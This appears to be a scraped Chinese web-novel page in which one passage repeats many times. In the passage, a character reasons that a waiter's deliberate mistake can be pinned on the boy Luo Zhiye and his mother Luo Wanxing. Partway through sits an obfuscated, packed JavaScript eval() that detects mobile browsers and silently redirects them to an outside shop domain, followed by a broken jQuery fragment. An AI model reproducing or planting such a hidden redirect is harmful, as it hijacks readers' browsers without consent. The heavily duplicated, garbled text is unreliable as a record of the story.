侍者是故意的，洛知野也没有撞人，那又如何呢？
洛知野就是一个小孩子，他能说出什么来？难不成他说自己没撞，旁人就会相信？
只要大家认定洛知野是个熊孩子，故意撞人，害得侍者出错，而身为母亲的洛晚星，不教训自己孩子，反而要责怪无辜的侍者，让他丢了工作。
侍者是故意的，洛知野也没有撞人，那又如何呢？
洛知野就是一个小孩子，他能说出什么来？难不成他说自己没撞，旁人就会相信？
只要大家认定洛知野是个熊孩子，故意撞人，害得侍者出错，而身为母亲的洛晚星，不教训自己孩子，反而要责怪无辜的侍者，让他丢了工作。
侍者是故意的，洛知野也没有撞人，那又如何呢？
洛知野就是一个小孩子，他能说出什么来？难不成他说自己没撞，旁人就会相信？
只要大家认定洛知野是个熊孩子，故意撞人，害得侍者出错，而身为母亲的洛晚星，不教训自己孩子，反而要责怪无辜的侍者，让他丢了工作。
侍者是故意的，洛知野也没有撞人，那又如何呢？
洛知野就是一个小孩子，他能说出什么来？难不成他说自己没撞，旁人就会相信？
只要大家认定洛知野是个熊孩子，故意撞人，害得侍者出错，而身为母亲的洛晚星，不教训自己孩子，反而要责怪无辜的侍者，让他丢了工作。
侍者是故意的，洛知野也没有撞人，那又如何呢？
洛知野就是一个小孩子，他能说出什么来？难不成他说自己没撞，旁人就会相信？
只要大家认定洛知野是个熊孩子，故意撞人，害得侍者出错，而身为母亲的洛晚星，不教训自己孩子，反而要责怪无辜的侍者，让他丢了工作。
侍者是故意的，洛知野也没有撞人，那又如何呢？
洛知野就是一个小孩子，他能说出什么来？难不成他说自己没撞，旁人就会相信？
只要大家认定洛知野是个熊孩子，故意撞人，害得侍者出错，而身为母亲的洛晚星，不教训自己孩子，反而要责怪无辜的侍者，让他丢了工作。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13679278|140015||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
侍者是故意的，洛知野也没有撞人，那又如何呢？
洛知野就是一个小孩子，他能说出什么来？难不成他说自己没撞，旁人就会相信？
只要大家认定洛知野是个熊孩子，故意撞人，害得侍者出错，而身为母亲的洛晚星，不教训自己孩子，反而要责怪无辜的侍者，让他丢了工作。
侍者是故意的，洛知野也没有撞人，那又如何呢？
洛知野就是一个小孩子，他能说出什么来？难不成他说自己没撞，旁人就会相信？
只要大家认定洛知野是个熊孩子，故意撞人，害得侍者出错，而身为母亲的洛晚星，不教训自己孩子，反而要责怪无辜的侍者，让他丢了工作。
侍者是故意的，洛知野也没有撞人，那又如何呢？
洛知野就是一个小孩子，他能说出什么来？难不成他说自己没撞，旁人就会相信？
只要大家认定洛知野是个熊孩子，故意撞人，害得侍者出错，而身为母亲的洛晚星，不教训自己孩子，反而要责怪无辜的侍者，让他丢了工作。